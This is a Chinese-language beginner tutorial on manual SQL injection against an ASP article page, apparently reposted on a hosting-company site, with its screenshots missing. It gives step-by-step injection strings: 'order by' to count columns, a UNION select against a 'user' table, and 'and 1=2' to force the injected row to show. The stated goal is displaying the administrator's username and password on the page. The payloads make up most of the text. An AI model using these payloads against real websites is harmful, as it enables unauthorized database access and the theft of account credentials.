鸿 网 互 联 www.68idc.cn

菜鸟也来学渗透——asp手工注入联合查询

来源:互联网 作者:佚名 时间:2016-05-07 10:08
我的文章都是深入分析的,把原理都写出来。不像那些教程只告诉你用什么语句,什么原理都不懂。 http://localhost/getarticle.asp?articleid=1 order by 5 可查询表内有多少字段, 此种方法以数字作为字段名,代表第几个字段 实际带入数据库中的查询语句则为:
我的文章都是深入分析的,把原理都写出来。不像那些教程只告诉你用什么语句,什么原理都不懂。
 
http://localhost/getarticle.asp?articleid=1 order by 5 可查询表内有多少字段, 此种方法以数字作为字段名,代表第几个字段
 
实际带入数据库中的查询语句则为:select * from article where articleid=1 order by 5
 
在数据库中执行结果:
 
http://localhost/getarticle.asp? articleid = 1 union select 1,2,3,4 from user
 
同理数据库中查询语句是:
 
select * from article where articleid = 1 union select 1,2,3,4 from user
 
已知 article表中字段数量,union查询user表中前4个字段的值。为什么不查询user表中所有字段的值,这里是因为第一,没办法知道user表中有多少字段,第二, UNION 内部的 SELECT 语句必须拥有相同数量的列。
 
数据库中查询结果:
 
 
查询结果是这样的,如果页面某些位置1,2,3,4这些数字,说明user表中的内容可以暴出来的。
 
猜一下字段:
 
select * from article where articleid = 1 union select 1,pwds,names,4 from user
 
这时候,管理员的用户名密码已经显示在页面上了。当然实际操作时候一定要让数据库报错。http://localhost/getarticle.asp?articleid=1 后面加个 and 1=2即可。
 
如果页面只显示第一条内容,不显示第二条。那就把这两句顺序换一下。
 
select * from article where articleid = 1 union select 1,names,pwds,4 from user order by 3 加了 order by
 
clip_image004
 
这样用似乎不让数据库不报错都能用了
 
网友评论
<